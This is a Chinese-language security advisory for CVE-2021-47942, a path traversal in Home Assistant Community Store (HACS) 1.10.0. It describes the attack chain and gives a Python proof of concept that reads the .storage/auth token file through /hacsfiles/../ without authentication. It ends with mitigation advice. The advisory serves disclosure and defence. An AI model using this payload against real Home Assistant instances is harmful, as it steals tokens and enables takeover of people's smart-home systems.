IPBUF安全漏洞报告
English
CVE-2021-47942 CVSS 7.5 高危

CVE-2021-47942 HACS路径遍历致账户接管漏洞

披露日期: 2026-05-16

漏洞信息

漏洞编号
CVE-2021-47942
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Home Assistant Community Store (HACS)

相关标签

路径遍历Home AssistantHACS账户接管CVE-2021-47942

漏洞概述

Home Assistant Community Store (HACS) 1.10.0 版本存在路径遍历漏洞。由于未对 `/hacsfiles/` 端点进行严格的权限控制和路径验证,未经身份验证的攻击者可利用该漏洞读取服务器上的任意文件。攻击者通过构造恶意路径下载包含用户凭据和刷新令牌的 `.storage/auth` 文件,进而伪造有效的 JWT 令牌,最终获取 Home Assistant 实例的管理员权限,完全接管系统。

技术细节

该漏洞的核心在于 HACS 对 `/hacsfiles/` 静态资源端点的处理逻辑存在缺陷。攻击者无需登录即可访问该端点,且程序未对路径中的 `../` 跳转符进行过滤,导致目录遍历攻击。利用时,攻击者构造如 `/hacsfiles/../.storage/auth` 的 URL,直接读取 Home Assistant 的核心认证存储文件。该文件以 JSON 格式存储了用户的认证令牌。攻击者获取文件内容后,提取其中的长有效令牌,并将其置于 HTTP 请求头的 Authorization 字段中(通常为 Bearer Token)。由于 Home Assistant 信任这些令牌,攻击者即可绕过身份验证,以管理员身份执行 API 调用,控制智能家居设备或修改系统配置。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标正在运行 Home Assistant 且安装了 HACS 插件,并确认其版本存在漏洞。
STEP 2
2. 漏洞利用
攻击者向目标服务器发送特制的 HTTP GET 请求,通过 `/hacsfiles/../` 序列绕过目录限制。
STEP 3
3. 数据窃取
服务器响应并返回 `.storage/auth` 文件的内容,该文件包含用户的凭据和刷新令牌。
STEP 4
4. 权限提升
攻击者解析窃取的令牌,构造带有有效 Authorization 头的请求,以管理员身份接管 Home Assistant 实例。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Home Assistant instance target_url = "http://<TARGET_IP>:8123" # The vulnerable endpoint allows path traversal to read sensitive files # Payload attempts to access the .storage/auth file which contains tokens exploit_path = "/hacsfiles/../.storage/auth" full_url = target_url + exploit_path print(f"[+] Attempting to exploit: {full_url}") try: # Send GET request without authentication response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Success! Sensitive file content retrieved:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")

影响范围

HACS 1.10.0 及更早版本

防御指南

临时缓解措施
建议立即将 Home Assistant Community Store (HACS) 升级至修复了该漏洞的版本(1.11.0+)。如果暂时无法升级,应通过防火墙规则严格限制对 Home Assistant 端口(默认为 8123)的外部访问,仅允许可信的内网 IP 连接,并检查系统日志以确认是否发生过针对 `/hacsfiles/` 的异常访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表